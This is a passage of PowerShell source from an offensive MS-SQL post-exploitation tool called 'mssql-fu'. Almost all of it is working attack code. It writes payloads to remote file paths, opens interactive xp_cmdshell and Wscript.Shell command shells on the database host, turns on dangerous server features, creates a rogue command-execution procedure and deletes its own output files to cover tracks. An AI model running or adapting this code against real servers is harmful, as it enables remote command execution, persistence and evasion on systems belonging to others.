  1271.                             $sql += "EXECUTE @OLEResult = sp_OAMethod @FS, 'OpenTextFile', @FileID OUT, @FileName, 8, 1;";
  1272.                             $sql += "EXECUTE @OLEResult = sp_OAMethod @FileID, 'WriteLine', Null, @Text1;";
  1273.                             $sql += "EXECUTE @OLEResult = sp_OADestroy @FileID;";
  1274.                             $sql += "EXECUTE @OLEResult = sp_OADestroy @FS;";
  1275.                             $sqlResult = mssql_query $sql;
  1276.                             if($sqlResult.result -eq $NULL) {
  1277.                                 Write-Host "   [*] Content appears to have been written to MS-SQL host!`n`n";
  1278.                             } else {
  1279.                                 Write-Host "   [x] Problem Writing File Content to MS-SQL Host"
  1280.                                 if($sqlResult.msg -ne "") {
  1281.                                     $sqlResult.msg;
  1282.                                 } else {
  1283.                                     try {
  1284.                                         $sqlResult.result.output;
  1285.                                     } catch {
  1286.                                         $sqlResult.result;
  1287.                                     }
  1288.                                 }
  1289.                             }      
  1290.                         } elseif($writePathArg -eq "2") {
  1291.                             While($True) {
  1292.                                 $pathArg = Read-Host "ENTER local file to load write paths from";
  1293.                                 Write-Host "";
  1294.                                 if($pathArg.ToLower() -eq 'x' -Or $pathArg.ToLower() -eq 'quit' -Or $pathArg.ToLower() -eq 'exit') { Break; }
  1295.                                 if(Test-Path -Path $pathArg) {
  1296.                                     $fileNameArg = Read-Host "ENTER Filename to Write w/Path(s)";
  1297.                                     Write-Host "";
  1298.                                     $paths = Get-Content -Path $pathArg;
  1299.                                     foreach($path in $paths) {
  1300.                                         $writeRemoteFilename = $path + $fileNameArg;
  1301.                                         Write-Host "[*] Attempting write to: $writeRemoteFilename";
  1302.                                         $sql  = "DECLARE @FS int, @OLEResult int, @FileID int, @FileName varchar(255), @Text1 varchar(255);";
  1303.                                         $sql += "SET @FileName = '$($writeRemoteFilename)';";
  1304.                                         $sql += "SET @Text1 = $($writeContent);";
  1305.                                         $sql += "EXECUTE @OLEResult = sp_OACreate 'Scripting.FileSystemObject', @FS OUT;";
  1306.                                         $sql += "EXECUTE @OLEResult = sp_OAMethod @FS, 'OpenTextFile', @FileID OUT, @FileName, 8, 1;";
  1307.                                         $sql += "EXECUTE @OLEResult = sp_OAMethod @FileID, 'WriteLine', Null, @Text1;";
  1308.                                         $sql += "EXECUTE @OLEResult = sp_OADestroy @FileID;";
  1309.                                         $sql += "EXECUTE @OLEResult = sp_OADestroy @FS;";
  1310.                                         $sqlResult = mssql_query $sql;
  1311.                                         if($sqlResult.result -eq $NULL) {
  1312.                                             Write-Host "   [SUCCESS] Payload Written To:`n`t`t$($writeRemoteFilename)";
  1313.                                         } else {
  1314.                                             Write-Host "   [x] Failed to write to: $($writeRemoteFilename)";
  1315.                                         }
  1316.                                     }
  1317.                                     Break;
  1318.                                 } else {
  1319.                                     Write-Host "   [x] Unable to read file";
  1320.                                     Write-Host "      [x] Check path or file permissions and try again....`n`n";
  1321.                                 }
  1322.                             }
  1323.                         } elseif($writePathArg.ToLower() -eq 'x' -Or $writePathArg.ToLower() -eq 'quit' -Or $writePathArg.ToLower() -eq 'exit') {
  1324.                             Break;
  1325.                         } else {
  1326.                             Write-Host "   [x] Invalid Write Path Option: $writePathArg";
  1327.                             Write-Host "      [x] Try again with a valid option....`n`n";
  1328.                         }
  1329.                     }                  
  1330.                 } elseif($writeArg -eq "2") {
  1331.                     $writeArg = Read-Host "ENTER Content to Write";
  1332.                     $writeContent = convertStrContentToMssqlCharStr $writeArg;
  1333.                     Write-Host "";
  1334.                     While($True) {
  1335.                         Write-Host "[*] Write Path Options: ";
  1336.                         Write-Host "   [1] Provide Single Path to Write To";
  1337.                         Write-Host "   [2] Load Paths to Write to From File`n";
  1338.                         $writePathArg = Read-Host "ENTER Write Path Option";
  1339.                         Write-Host "";
  1340.                         if($writePathArg -eq "1") {
  1341.                             $writeRemoteFilename = Read-Host "ENTER Remote Path w/Filename to Write";
  1342.                             Write-Host "`n[*] OK, attempting write to: $writeRemoteFilename";
  1343.                             $sql  = "DECLARE @FS int, @OLEResult int, @FileID int, @FileName varchar(255), @Text1 varchar(255);";
  1344.                             $sql += "SET @FileName = '$($writeRemoteFilename)';";
  1345.                             $sql += "SET @Text1 = $($writeContent);";
  1346.                             $sql += "EXECUTE @OLEResult = sp_OACreate 'Scripting.FileSystemObject', @FS OUT;";
  1347.                             $sql += "EXECUTE @OLEResult = sp_OAMethod @FS, 'OpenTextFile', @FileID OUT, @FileName, 8, 1;";
  1348.                             $sql += "EXECUTE @OLEResult = sp_OAMethod @FileID, 'WriteLine', Null, @Text1;";
  1349.                             $sql += "EXECUTE @OLEResult = sp_OADestroy @FileID;";
  1350.                             $sql += "EXECUTE @OLEResult = sp_OADestroy @FS;";
  1351.                             $sqlResult = mssql_query $sql;
  1352.                             if($sqlResult.result -eq $NULL) {
  1353.                                 Write-Host "   [*] Content appears to have been written to MySQL host!`n`n";
  1354.                             } else {
  1355.                                 Write-Host "   [x] Problem Writing File Content to MySQL Host"
  1356.                                 if($sqlResult.msg -ne "") {
  1357.                                     Write-Host "   [x] NO Output Received";
  1358.                                     $sqlResult.msg;
  1359.                                 } else {
  1360.                                     try {
  1361.                                         $sqlResult.result.output;
  1362.                                     } catch {
  1363.                                         $sqlResult.result;
  1364.                                     }
  1365.                                 }
  1366.                             }
  1367.                             Break;
  1368.                         } elseif($writePathArg -eq "2") {
  1369.                             While($True) {
  1370.                                 $pathArg = Read-Host "ENTER local file to load write paths from";
  1371.                                 Write-Host "";
  1372.                                 if($pathArg.ToLower() -eq 'x' -Or $pathArg.ToLower() -eq 'quit' -Or $pathArg.ToLower() -eq 'exit') { Break; }
  1373.                                 if(Test-Path -Path $pathArg) {
  1374.                                     $fileNameArg = Read-Host "ENTER filename to use with paths";
  1375.                                     Write-Host "";
  1376.                                     Write-Host "[*] Attempting file writes...";
  1377.                                     $paths = Get-Content -Path $pathArg;
  1378.                                     foreach($path in $paths) {
  1379.                                         $writeRemoteFilename = $path + $fileNameArg;
  1380.                                         $sqlResult = mysql_query "SELECT $($writeContent) INTO OUTFILE '$writeRemoteFilename';";
  1381.                                         if($sqlResult.result -eq $NULL) {
  1382.                                             Write-Host "   [SUCCESS] Payload Written To:`n`t$($writeRemoteFilename)";
  1383.                                         } else {
  1384.                                             Write-Host "   [x] Failed to write to: $($writeRemoteFilename)";
  1385.                                         }
  1386.                                     }
  1387.                                     Write-Host "`n";
  1388.                                     Break;
  1389.                                 } else {
  1390.                                     Write-Host "   [x] Unable to read file";
  1391.                                     Write-Host "      [x] Check path or file permissions and try again....`n`n";
  1392.                                 }
  1393.                             }
  1394.                             Break;
  1395.                         } elseif($writePathArg.ToLower() -eq 'x' -Or $writePathArg.ToLower() -eq 'quit' -Or $writePathArg.ToLower() -eq 'exit') {
  1396.                             Break;
  1397.                         } else {
  1398.                             Write-Host "   [x] Invalid Write Path Option: $writePathArg";
  1399.                             Write-Host "      [x] Try again with a valid option....`n`n";
  1400.                         }
  1401.                     }
  1402.                 } elseif($writeArg.ToLower() -eq "x" -Or $writeArg.ToLower() -eq "quit" -Or $writeArg.ToLower() -eq "exit") {
  1403.                     Write-Host "   [x] OK, exiting file writer session...`n";
  1404.                     Break;
  1405.                 } else {
  1406.                     Write-Host "[x] Invalid Write Option: $writeArg";
  1407.                     Write-Host "   [x] Please select a valid Write option...`n";
  1408.                 }
  1409.             }
  1410.             Write-Host "";
  1411.  
  1412.         } elseif($userArg.ToLower() -match '^xp_cmdshell' -Or $userArg.ToLower() -match '^shell') {
  1413.             $result = mssql_query "SELECT CONVERT(INT, ISNULL(value, value_in_use)) AS config_value FROM  sys.configurations WHERE  name='xp_cmdshell';"
  1414.             if($result.result.config_value -eq 1) {
  1415.                 Write-Host "[*] Confirmed xp_cmdshell is enabled!";
  1416.                 Write-Host "[*] Dropping to shell session...";
  1417.                 Write-Host "   [+] Simply type command to execute and hit enter";
  1418.                 Write-Host "   [+] Type EXIT or QUIT to end shell session`n";
  1419.                 While($True) {
  1420.                     $cmdArg = Read-Host "(mssql-fu\xp_cmdshell)>";
  1421.                     if($cmdArg.ToLower() -eq 'x' -Or $cmdArg.ToLower() -eq 'exit' -Or $cmdArg.ToLower() -eq 'quit') {
  1422.                         Write-Host "   [x] OK, closing xp_cmdshell shell session...`n";
  1423.                         Break;
  1424.                        
  1425.                     } elseif($cmdArg.ToLower() -eq '?' -Or $cmdArg.ToLower() -eq 'h' -Or $cmdArg.ToLower() -eq 'help') {
  1426.                         Write-Host "`n[*] xp_cmdshell:";
  1427.                         Write-Host "   [+] Simply type the command to execute and hit enter";
  1428.                         Write-Host "   [+] Type EXIT or QUIT to end shell session...`n`n";
  1429.                        
  1430.                     } elseif($cmdArg.ToLower() -eq 'cls' -Or $cmdArg.ToLower() -eq 'clear') {
  1431.                         PrintBanner;
  1432.                        
  1433.                     } else {
  1434.                         Write-Host "";
  1435.                         $result = mssql_query "EXEC xp_cmdshell '$($cmdArg)';";
  1436.                         if($result.rowCount -gt 1) {
  1437.                             foreach($row in $result.result) {
  1438.                                 $row[0];
  1439.                             }
  1440.                         } else {
  1441.                             if($result.msg -ne "") {
  1442.                                 Write-Host "   [x] NO Output Received";
  1443.                                 $result.msg;
  1444.                             } else {
  1445.                                 try {
  1446.                                     $result.result.output;
  1447.                                 } catch {
  1448.                                     $result.result;
  1449.                                 }
  1450.                             }
  1451.                         }
  1452.                     }          
  1453.                 }
  1454.             } else {
  1455.                 Write-Host "[x] xp_cmdshell is NOT ENABLED currently";
  1456.                 Write-Host "   [x] You can try to ENABLE it from the main menu...";
  1457.             }
  1458.             Write-Host "";
  1459.  
  1460.         } elseif($userArg.ToLower() -match '^inline.cmd' -Or $userArg.ToLower() -match '^inline.shell') {
  1461.             Write-Host "[*] Attempting Inline Injection of @xp_cmdshell";
  1462.             Write-Host "[*] Dropping to shell session...";
  1463.             Write-Host "   [+] Simply type command to execute and hit enter";
  1464.             Write-Host "      [-] NOTE: 5 second delay after execution to ensure cleanup occurs";
  1465.             Write-Host "   [+] Type EXIT or QUIT to end shell session`n";
  1466.             While($True) {
  1467.                 $cmdArg = Read-Host "(mssql-fu\inline@cmdshell)>";
  1468.                 if($cmdArg.ToLower() -eq 'x' -Or $cmdArg.ToLower() -eq 'exit' -Or $cmdArg.ToLower() -eq 'quit') {
  1469.                     Write-Host "   [x] OK, closing inline @xp_cmdshell shell session...`n";
  1470.                     Break;
  1471.                    
  1472.                 } elseif($cmdArg.ToLower() -eq '?' -Or $cmdArg.ToLower() -eq 'h' -Or $cmdArg.ToLower() -eq 'help') {
  1473.                     Write-Host "`n[*] @xp_cmdshell inline injection:";
  1474.                     Write-Host "   [+] Simply type the command to execute and hit enter";
  1475.                     Write-Host "      [-] NOTE: 5 second delay after execution to ensure cleanup occurs";
  1476.                     Write-Host "   [+] Type EXIT or QUIT to end shell session...`n`n";
  1477.                    
  1478.                 } elseif($cmdArg.ToLower() -eq 'cls' -Or $cmdArg.ToLower() -eq 'clear') {
  1479.                     PrintBanner;
  1480.                    
  1481.                 } else {
  1482.                     Write-Host "";
  1483.                     # Execute Command & Redirect to file in MS-SQL data dir
  1484.                     $rand = randz 10;
  1485.                     $rand = "$($basicInfo.dataPath)$($rand).log";
  1486.                     $sql  = "declare @shell int, @oexec int, @rc int, @ExecStat int, @output nvarchar(max), @loop int;";
  1487.                     $sql += "set @loop = 0;";
  1488.                     $sql += "exec @rc = sp_OACreate 'Wscript.Shell', @shell output;";
  1489.                     $sql += "if @rc = 0 begin exec @rc = sp_OAMethod @shell, 'exec', @oexec output, 'cmd.exe /C $($cmdArg) > `"$($rand)`"';";
  1490.                     $sql += "if @rc <> 0 begin exec sp_OAGetErrorInfo @shell; end ";
  1491.                     $sql += "else begin set @ExecStat = 0;";
  1492.                     $sql += "while @ExecStat = 0 and @rc = 0 and @loop < 500";
  1493.                     $sql += "begin set @loop = @loop + 1;";
  1494.                     $sql += "exec @rc = sp_OAGetProperty @oexec, 'Status', @ExecStat out;";
  1495.                     $sql += "waitfor delay '0:00:03'; end ";
  1496.                     $sql += "exec @rc = sp_OAGetProperty @oexec, 'Status', @ExecStat out;";
  1497.                     $sql += "exec @rc = sp_OAGetProperty @oexec, 'StdOut.ReadAll', @output out;";
  1498.                     $sql += "SELECT isnull(@output,'NULL'); end ";
  1499.                     $sql += "EXEC sp_OAMethod @shell, 'Close';";
  1500.                     $sql += "exec @rc = sp_oaDestroy @oexec;";
  1501.                     $sql += "exec @rc = sp_oaDestroy @shell; end";
  1502.                     # @output only seems to work on sql server 2000...
  1503.                     $result = mssql_query $sql; # cmdoutput > $rand (random file in mssql data dir)
  1504.                     Start-Sleep -s 1 # without delay, clenaup is unreliable - guessing due to file handle still open or something...
  1505.  
  1506.                     # Read the command output from file
  1507.                     $randTbl = randz 10;
  1508.                     $executed = $False;
  1509.                     $cmdOut = "";
  1510.                     $sqlResult = mssql_query "CREATE TABLE $($randTbl) (line varchar(8000));";
  1511.                     if($sqlResult.msg -eq "") {
  1512.                         $rand = $rand.Replace("\\", "\\\\");
  1513.                         $sqlResult = mssql_query "BULK INSERT $($randTbl) FROM '$($rand)';";
  1514.                         if($sqlResult.msg -eq "") {
  1515.                             $sqlResult = mssql_query "SELECT * FROM $($randTbl);";
  1516.                             if($sqlResult.msg -eq "") {
  1517.                                 $executed = $True;
  1518.                                 if($sqlResult.rowCount -gt 1) {
  1519.                                     foreach($row in $sqlResult.result) {
  1520.                                         $row[0];
  1521.                                     }
  1522.                                     Write-Host "";
  1523.                                 } else {
  1524.                                     try {
  1525.                                         $sqlResult.result.line;
  1526.                                     } catch {
  1527.                                         $sqlResult.result;
  1528.                                     }
  1529.                                 }
  1530.                                 $sqlResult = mssql_query "DROP TABLE $($randTbl);";                            
  1531.                             } else {
  1532.                                 Write-Host "[x] Error grabbing results from table";
  1533.                                 $sqlResult.msg
  1534.                             }
  1535.                         } else {
  1536.                             Write-Host "[x] Error using BULK INSERT to load cmd output file contents";
  1537.                             $sqlResult.msg
  1538.                             Write-Host "[x] Attempting inline @FileSystemObject approach...`n";
  1539.                             $sqlResult = mssql_query "DROP TABLE $($randTbl);";
  1540.                             $fileOut = "";
  1541.                             $sql  = "declare @o int, @f int, @ret int, @line varchar(8000);";
  1542.                             $sql += "exec sp_oacreate 'scripting.filesystemobject', @o out;";
  1543.                             $sql += "exec sp_oamethod @o, 'opentextfile', @f out, '$($rand)', 1;";
  1544.                             $sql += "exec @ret = sp_oamethod @f, 'readall', @line out;";
  1545.                             $sql += "select @line;";
  1546.                             $sqlResult = mssql_query $sql;
  1547.                             if($sqlResult.msg -eq "") {
  1548.                                 $executed = $True;
  1549.                                 if($sqlResult.rowCount -gt 1) {
  1550.                                     foreach($row in $sqlResult.result) {
  1551.                                         $row[0];
  1552.                                     }
  1553.                                     Write-Host "";
  1554.                                 } else {
  1555.                                     try {
  1556.                                         $sqlResult.result.Column1;
  1557.                                     } catch {
  1558.                                         $sqlResult.result;
  1559.                                     }
  1560.                                 }
  1561.                             } else {
  1562.                                 Write-Host "[x] Problem Reading CMD Output File Content!";
  1563.                                 $sqlResult.msg;
  1564.                             }                          
  1565.                         }
  1566.                     } else {
  1567.                         Write-Host "[x] Error Creating table to read results ";
  1568.                         $sqlResult.msg
  1569.                     }
  1570.                     Start-Sleep -s 1
  1571.                     if($executed) {
  1572.                         # Delete redirected cmd output file
  1573.                         $cmdArg = 'DEL /F "'+$rand+'"';
  1574.                         $sql  = "declare @shell int, @oexec int, @rc int, @ExecStat int, @output nvarchar(max), @loop int;";
  1575.                         $sql += "set @loop = 0;";
  1576.                         $sql += "exec @rc = sp_OACreate 'Wscript.Shell', @shell output;";
  1577.                         $sql += "if @rc = 0 begin exec @rc = sp_OAMethod @shell, 'exec', @oexec output, 'cmd.exe /C $($cmdArg)';";
  1578.                         $sql += "if @rc <> 0 begin exec sp_OAGetErrorInfo @shell; end ";
  1579.                         $sql += "else begin set @ExecStat = 0;";
  1580.                         $sql += "while @ExecStat = 0 and @rc = 0 and @loop < 500";
  1581.                         $sql += "begin set @loop = @loop + 1;";
  1582.                         $sql += "exec @rc = sp_OAGetProperty @oexec, 'Status', @ExecStat out; ";
  1583.                         $sql += "waitfor delay '0:00:03'; end ";
  1584.                         $sql += "exec @rc = sp_OAGetProperty @oexec, 'Status', @ExecStat out;";
  1585.                         $sql += "exec @rc = sp_OAGetProperty @oexec, 'StdOut.ReadAll', @output out;";
  1586.                         $sql += "SELECT isnull(@output,'NULL'); end ";
  1587.                         $sql += "EXEC sp_OAMethod @shell, 'Close';";
  1588.                         $sql += "exec @rc = sp_oaDestroy @oexec;";
  1589.                         $sql += "exec @rc = sp_oaDestroy @shell; end";
  1590.                         $result = mssql_query $sql;
  1591.                     } else {
  1592.                         Write-Host "      [x] Problem Executing Command OR No Results Returned";
  1593.                     }
  1594.                     Write-Host "";
  1595.                 }          
  1596.             }
  1597.             Write-Host "";
  1598.  
  1599.         } elseif($userArg.ToLower() -match '^enable.func' -Or $userArg.ToLower() -match '^func.enable') {
  1600.             enable_func_help;
  1601.             Write-Host "";
  1602.             While($True) {
  1603.                 $userEnableFuncArg = Read-Host "(mssql-fu\enable.func)>";
  1604.                 if($userEnableFuncArg.ToLower() -eq 'x' -Or $userEnableFuncArg.ToLower() -eq 'exit' -Or $userEnableFuncArg.ToLower() -eq 'quit') {
  1605.                     Write-Host "   [x] OK, returning to main menu...`n";
  1606.                     Break;
  1607.                    
  1608.                 } elseif($userEnableFuncArg.ToLower() -eq '?' -Or $userEnableFuncArg.ToLower() -eq 'h' -Or $userEnableFuncArg.ToLower() -eq 'help') {
  1609.                     enable_func_help;
  1610.                    
  1611.                 } elseif($userEnableFuncArg.ToLower() -eq 'cls' -Or $userEnableFuncArg.ToLower() -eq 'clear') {
  1612.                     PrintBanner;
  1613.  
  1614.                 } elseif($userEnableFuncArg.ToLower() -eq 'xp.shell' -Or $userEnableFuncArg.ToLower() -eq 'xp_cmdshell' -Or $userEnableFuncArg.ToLower() -eq 'xp.cmd') {
  1615.                     $result = mssql_query "SELECT CONVERT(INT, ISNULL(value, value_in_use)) AS config_value FROM  sys.configurations WHERE  name='xp_cmdshell';"
  1616.                     if($result.result.config_value -eq 1) {
  1617.                         Write-Host "[?] xp_cmdshell is already enabled";
  1618.                         Write-Host "   [+] No action required, aborting...`n";
  1619.                     } else {
  1620.                         if($basicInfo.specificVersion -eq "SQL 2000") {
  1621.                             $sql = "EXEC master..sp_addextendedproc 'xp_cmdshell', @dllname='xplog70.dll';";
  1622.                         } else { # 2005+
  1623.                             $sql  = "EXEC master..sp_configure 'show advanced options',1;";
  1624.                             $sql += "RECONFIGURE WITH OVERRIDE;";
  1625.                             $sql += "EXEC master..sp_configure 'xp_cmdshell',1;";
  1626.                             $sql += "EXEC master..sp_configure 'xp_dirtree',1;";
  1627.                             $sql += "EXEC master..sp_configure 'xp_fileexist',1;";
  1628.                             $sql += "RECONFIGURE WITH OVERRIDE;";
  1629.                             $sql += "EXEC master..sp_configure 'show advanced options',0;";
  1630.                             $sql += "RECONFIGURE WITH OVERRIDE;";
  1631.                         }
  1632.                         $sqlResult = mssql_query $sql;
  1633.                         if($sqlResult.msg -eq "") {
  1634.                             $result = mssql_query "SELECT CONVERT(INT, ISNULL(value, value_in_use)) AS config_value FROM  sys.configurations WHERE  name='xp_cmdshell';"
  1635.                             if($result.result.config_value -eq 1) {
  1636.                                 Write-Host "[*] xp_cmdshell is now ENABLED!";
  1637.                             } else {
  1638.                                 Write-Host "[x] xp_cmdshell does NOT appear to be enabled, wtf?";
  1639.                                 $sqlResult.result;
  1640.                             }
  1641.                         } else {
  1642.                             Write-Host "[x] Problem Enabling xp_cmdshell, sorry we tried....";
  1643.                             $sqlResult.msg;
  1644.                         }
  1645.                     }
  1646.                     Write-Host "";
  1647.                    
  1648.                 } elseif($userEnableFuncArg.ToLower() -eq 'new.xp' -Or $userEnableFuncArg.ToLower() -eq 'new.xp_cmdshell' -Or $userEnableFuncArg.ToLower() -eq 'xp.new') {
  1649.                     $sqlResult = mssql_query "IF OBJECT_ID(dbo.new_xp_cmdshell) IS NOT NULL DROP PROCEDURE dbo.new_xp_cmdshell;";
  1650.                     $sql = "DECLARE @foo nvarchar(999);";
  1651.                     $sql += "SET @foo='CREATE PROCEDURE new_xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID';";
  1652.                     $sql += "EXEC master..sp_executesql @foo;";
  1653.                     $sqlResult = mssql_query $sql;
  1654.                     if($sqlResult.msg -eq "") {
  1655.                         Write-Host "[*] Created New Extended Procedure 'new_xp_cmdshell'";
  1656.                         Write-Host "   [+] It leverages Wscript.Shell, Run() so NO output is returned";
  1657.                         Write-Host "   [+] Use redirection of output to file to get results after, if needed...";
  1658.                         Write-Host "      [-] SELECT new_xp_cmdshell('whoami > c:\windows\temp\cmdresult.txt')";
  1659.                     } else {
  1660.                         Write-Host "[x] Problem Creating New Extended Procedure 'new_xp_cmdshell'";
  1661.                         $sqlResult.msg;
  1662.                     }
  1663.                     Write-Host "";
  1664.  
  1665.                 } elseif($userEnableFuncArg.ToLower() -eq 'openrowset' -Or $userEnableFuncArg.ToLower() -eq 'openrow') {
  1666.                     $sql  = "EXEC master..sp_configure 'show advanced options',1;";
  1667.                     $sql += "RECONFIGURE WITH OVERRIDE;";
  1668.                     $sql += "EXEC master..sp_configure 'Ad Hoc Distributed Queries',1;";
  1669.                     $sql += "RECONFIGURE WITH OVERRIDE;";
  1670.                     $sql += "EXEC master..sp_configure 'show advanced options',0;";
  1671.                     $sql += "RECONFIGURE WITH OVERRIDE;";
  1672.                     $sqlResult = mssql_query $sql;
  1673.                     if($sqlResult.msg -eq "") {
  1674.                         Write-Host "[*] Activated Ad Hoc Distributed Queries";
  1675.                         Write-Host "   [+] A.K.A Openrowset()";
  1676.                     } else {
  1677.                         Write-Host "[x] Problem Activating Ad Hoc Distributed Queries (a.k.a Openrowset)";
  1678.                         $sqlResult.msg;
  1679.                     }
  1680.                     Write-Host "";
  1681.                
  1682.                 } elseif($userEnableFuncArg.ToLower() -eq 'ole') {
  1683.                     $sql  = "EXEC master..sp_configure 'show advanced options',1;";
  1684.                     $sql += "RECONFIGURE WITH OVERRIDE;";
  1685.                     $sql += "EXEC master..sp_configure 'ole automation procedures',1;";
  1686.                     $sql += "RECONFIGURE WITH OVERRIDE;";
  1687.                     $sql += "EXEC master..sp_configure 'show advanced options',0;";
  1688.                     $sql += "RECONFIGURE WITH OVERRIDE;";
  1689.                     $sqlResult = mssql_query $sql;
  1690.                     if($sqlResult.msg -eq "") {
  1691.                         Write-Host "[*] Activated OLE Automation Procedures";
  1692.                         Write-Host "   [+] A.K.A sp_OACreate & Friends";
  1693.                     } else {
  1694.                         Write-Host "[x] Problem Activating OLE Automation Procedures (a.k.a sp_OACreate & Friends)";
  1695.                         $sqlResult.msg;
  1696.                     }
  1697.                     Write-Host "";
  1698.                    
  1699.                 } else {
  1700.                     Write-Host "[x] Invalid Request: $($userEnableFuncArg)";
  1701.                     Write-Host "   [x] Try again with a valid argument...`n";
  1702.                     enable_func_help;
  1703.                 }
  1704.             }          
  1705.             Write-Host "";
  1706.  
  1707.         } elseif($userArg.ToLower() -match '^disable.func' -Or $userArg.ToLower() -match '^func.disable') {
  1708.             disable_func_help;
  1709.             Write-Host "";
  1710.             While($True) {
  1711.                 $userDisableFuncArg = Read-Host "(mssql-fu\disable.func)>";
  1712.                 if($userDisableFuncArg.ToLower() -eq 'x' -Or $userDisableFuncArg.ToLower() -eq 'exit' -Or $userDisableFuncArg.ToLower() -eq 'quit') {
  1713.                     Write-Host "   [x] OK, returning to main menu...`n";
  1714.                     Break;
  1715.                    
  1716.                 } elseif($userDisableFuncArg.ToLower() -eq '?' -Or $userDisableFuncArg.ToLower() -eq 'h' -Or $userDisableFuncArg.ToLower() -eq 'help') {
  1717.                     enable_func_help;
  1718.                    
  1719.                 } elseif($userDisableFuncArg.ToLower() -eq 'cls' -Or $userDisableFuncArg.ToLower() -eq 'clear') {
  1720.                     PrintBanner;
  1721.  
  1722.                 } elseif($userDisableFuncArg.ToLower() -eq 'xp.shell' -Or $userDisableFuncArg.ToLower() -eq 'xp_cmdshell' -Or $userDisableFuncArg.ToLower() -eq 'xp.cmd') {
  1723.                     $result = mssql_query "SELECT CONVERT(INT, ISNULL(value, value_in_use)) AS config_value FROM  sys.configurations WHERE  name='xp_cmdshell';"
  1724.                     if($result.result.config_value -eq 0) {
  1725.                         Write-Host "[?] xp_cmdshell is already disabled";
  1726.                         Write-Host "   [+] No action required, aborting...`n";
  1727.                     } else {
  1728.                         if($basicInfo.specificVersion -eq "SQL 2000") {
  1729.                             $sql = "EXEC master..sp_dropextendedproc 'xp_cmdshell';";
  1730.                         } else { # 2005+
  1731.                             $sql  = "EXEC master..sp_configure 'show advanced options',1;";
  1732.                             $sql += "RECONFIGURE WITH OVERRIDE;";
  1733.                             $sql += "EXEC master..sp_configure 'xp_cmdshell',0;";
  1734.                             $sql += "EXEC master..sp_configure 'xp_dirtree',0;";
  1735.                             $sql += "EXEC master..sp_configure 'xp_fileexist',0;";                          $sql += "RECONFIGURE WITH OVERRIDE;";
  1736.                             $sql += "EXEC master..sp_configure 'show advanced options',0;";
  1737.                             $sql += "RECONFIGURE WITH OVERRIDE;";
  1738.                         }
  1739.                         $sqlResult = mssql_query $sql;
  1740.                         if($sqlResult.msg -eq "") {
  1741.                             $result = mssql_query "SELECT CONVERT(INT, ISNULL(value, value_in_use)) AS config_value FROM  sys.configurations WHERE  name='xp_cmdshell';"
  1742.                             if($result.result.config_value -eq 0) {
  1743.                                 Write-Host "[*] xp_cmdshell is now DISABLED!";
  1744.                             } else {
  1745.                                 Write-Host "[x] xp_cmdshell is still enabled, wtf?";
  1746.                                 $sqlResult.result;
  1747.                             }
  1748.                         } else {
  1749.                             Write-Host "[x] Problem Disabling xp_cmdshell, sorry we tried....";
  1750.                             $sqlResult.msg;
  1751.                         }
  1752.                     }
  1753.                     Write-Host "";
  1754.                    
  1755.                 } elseif($userDisableFuncArg.ToLower() -eq 'new.xp' -Or $userDisableFuncArg.ToLower() -eq 'new.xp_cmdshell' -Or $userDisableFuncArg.ToLower() -eq 'xp.new') {
  1756.                     $sqlResult = mssql_query "IF OBJECT_ID(dbo.new_xp_cmdshell) IS NOT NULL DROP PROCEDURE dbo.new_xp_cmdshell;";
  1757.                     if($sqlResult.msg -eq "") {
  1758.                         Write-Host "[*] Removed Extended Procedure 'new_xp_cmdshell'";
  1759.                     } else {
  1760.                         Write-Host "[x] Problem Removing Extended Procedure 'new_xp_cmdshell'";
  1761.                         $sqlResult.msg;
  1762.                     }
  1763.                     Write-Host "";
  1764.  
  1765.                 } elseif($userDisableFuncArg.ToLower() -eq 'openrowset' -Or $userDisableFuncArg.ToLower() -eq 'openrow') {
  1766.                     $sql  = "EXEC master..sp_configure 'show advanced options',1;";
  1767.                     $sql += "RECONFIGURE WITH OVERRIDE;";
  1768.                     $sql += "EXEC master..sp_configure 'Ad Hoc Distributed Queries',0;";
  1769.                     $sql += "RECONFIGURE WITH OVERRIDE;";
  1770.                     $sql += "EXEC master..sp_configure 'show advanced options',0;";
  1771.                     $sql += "RECONFIGURE WITH OVERRIDE;";
  1772.                     $sqlResult = mssql_query $sql;
  1773.                     if($sqlResult.msg -eq "") {
  1774.                         Write-Host "[*] Disabled Ad Hoc Distributed Queries";
  1775.                         Write-Host "   [+] A.K.A Openrowset()";
  1776.                     } else {
  1777.                         Write-Host "[x] Problem Disabling Ad Hoc Distributed Queries (a.k.a Openrowset)";
  1778.                         $sqlResult.msg;
  1779.                     }
  1780.                     Write-Host "";
  1781.                
  1782.                 } elseif($userDisableFuncArg.ToLower() -eq 'ole') {
  1783.                     $sql  = "EXEC master..sp_configure 'show advanced options',1;";
  1784.                     $sql += "RECONFIGURE WITH OVERRIDE;";
  1785.                     $sql += "EXEC master..sp_configure 'ole automation procedures',0;";
  1786.                     $sql += "RECONFIGURE WITH OVERRIDE;";
  1787.                     $sql += "EXEC master..sp_configure 'show advanced options',0;";
  1788.                     $sql += "RECONFIGURE WITH OVERRIDE;";
  1789.                     $sqlResult = mssql_query $sql;
  1790.                     if($sqlResult.msg -eq "") {
  1791.                         Write-Host "[*] Disabled OLE Automation Procedures";
  1792.                         Write-Host "   [+] A.K.A sp_OACreate & Friends";
  1793.                     } else {
  1794.                         Write-Host "[x] Problem Disabling Ad Hoc Distributed Queries (a.k.a Openrowset)";
  1795.                         $sqlResult.msg;
  1796.                     }
  1797.                     Write-Host "";
  1798.                    
  1799.                 } else {
  1800.                     Write-Host "[x] Invalid Request: $($userDisableFuncArg)";
  1801.                     Write-Host "   [x] Try again with a valid argument...`n";
  1802.                     disable_func_help;
  1803.                 }
  1804.             }          
  1805.             Write-Host "";
  1806.        
  1807.         } elseif($userArg.ToLower() -match '^link') {
  1808.             $sql = "select cast(count(srvname) as varchar) from master..sysservers where srvname != @@servername and dataaccess = 1 and srvproduct = 'SQL Server';";
  1809.             $sqlResult = mssql_query $sql;
  1810.             if($sqlResult.msg -eq "") {
  1811.                 $count = $sqlResult.result.Column1;
  1812.                 if($count -gt 0) {
  1813.                     Write-Host "[*] Crawling Linked Servers...";
  1814.                     Write-Host "   [+] Links Found $($count)";
  1815.                     # Enumerate Linked Servers...
  1816.                     $l = @();
  1817.                     $linkedOut = "[*] Available Linked SQL Servers: `n";
  1818.                     $linkedServers = {$linkedServers}.Invoke();
  1819.                     for($i=0; $i -lt $count; $i++) {
  1820.                         $sql  = "SELECT TOP 1 srvname FROM master..sysservers ";
